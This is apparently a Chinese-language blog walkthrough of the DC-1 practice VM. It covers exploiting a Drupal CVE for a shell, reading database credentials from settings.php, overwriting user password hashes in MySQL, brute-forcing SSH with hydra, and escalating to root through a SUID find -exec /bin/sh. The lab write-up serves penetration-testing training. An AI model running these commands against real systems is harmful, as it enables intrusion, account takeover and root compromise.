DC-1靶机测试

攻击机:192.168.198.133

靶机:192.168.198.136

信息搜集

image-20250325221913915
查看一下靶机的mac地址
确定靶机ip
image-20250325221935513

发现了他开启了ssh和http

image-20250326113740512

hint1

发现CMS是drupal

flag1 drupal漏洞

访问192.168.198.136:80

image-20250325222045731

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

什么是cms?
CMS是”Content Management System”的缩写,意为”内容管理系统”。 它采用统一的信息组织的方法即分类,对同一类型的信息进行分类,且每一类信息都可以进行新建(Add)、查看(View)、编辑(Edit)和删除(Delete)四种不同的操作。除了使用分类的方式组织信息以外,又采用了统一的用户和权限管理对信息的使用进行控制,即构成了一个完整的信息组织和管理的体系。内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场.

这里搜索一下发现drupal有cve漏洞,直接打
image-20250325222113920

image-20250325222128840

image-20250325222146295

image-20250325222206035

这里已经直接搭进去了 open,直接上shell就行

hint2

image-20250325222222721
再看看有没有其他的flag
find / -name flag*
很遗憾只有一个flag
image-20250325222256057

flag2 配置文件

我们再看看他的配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
find / -name settings.php

image-20250325222308844

flag3 数据库渗透

$databases = array (
‘default’ =>
array (
‘default’ =>
array (
‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,
‘host’ => ‘localhost’,
‘port’ => ‘’,
‘driver’ => ‘mysql’,
‘prefix’ => ‘’,
),
),
);

直接mysql -u dbuser -p

password:R0ck3t

从flag4那里登录看看

97f12033062000f10a310627da63455

93630ba648e6b88a9136abe24f0799d

得到两个用户

| uid | name | pass | mail

1 admin $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR admin@example.com
2 Fred $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg fred@example.org

密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个adminc

猜测是hash加密

find . -name “hash

我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.shs

cat看一下

image-20250326114109741

看到这里有php的使用方法

报错原因:即使back到根目录也还是没有这个文件,说明这个用户下面没有这个文件所以用原来那个用户进行加密

image-20250326115007404

image-20250326114913612

password: 123456 hash: $S$Dzp3oSVipm1dNqXWtri5D1HVmYkgalQlRlUr3URdg4HHMtAkJ28w

这边登录数据库修改密码就能登录了

update users set pass = “$S$Dzp3oSVipm1dNqXWtri5D1HVmYkgalQlRlUr3URdg4HHMtAkJ28w“ where name = ‘admin’ or name = ‘Fred’;

image-20250326120855705

再show一下发现密码已经改了

select * from users\G; 会美观一点

image-20250326120959079

image-20250326121141650

hint3

特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

补充

image-20250326113854912

flag4 直接用hydra爆破一下

看一下/etc/passwd 有没有登录用户

image-20250325235554050

发现有个flag4用户

/usr/share/john/password.lst kali自带的john爆破字典

可以看下hydra的命令

Examples:

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

直接

hydra -l flag4 -P /usr/share/john/password.lst 192.168.198.136 ssh

f08d5690d1ae6e2100a6633cb2cc441

拿到flag4用户的密码 orange

4aa90bd8c0a721b0258aedc35717000

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

发现权限不够

image-20250326121951109

flag5提权成root

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

image-20250326130028360

find比较常用,可以执行root权限的命令找查文件,

find / -exec /bin/bash ;

find / -name index.php -exec “/bin/sh” \ ;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec “/bin/sh” ;

image-20250326130905095

cd /root

image-20250326131028437


DC-1靶机测试
http://example.com/2025/03/04/DC-1/
Author
chaye
Posted on
March 4, 2025
Licensed under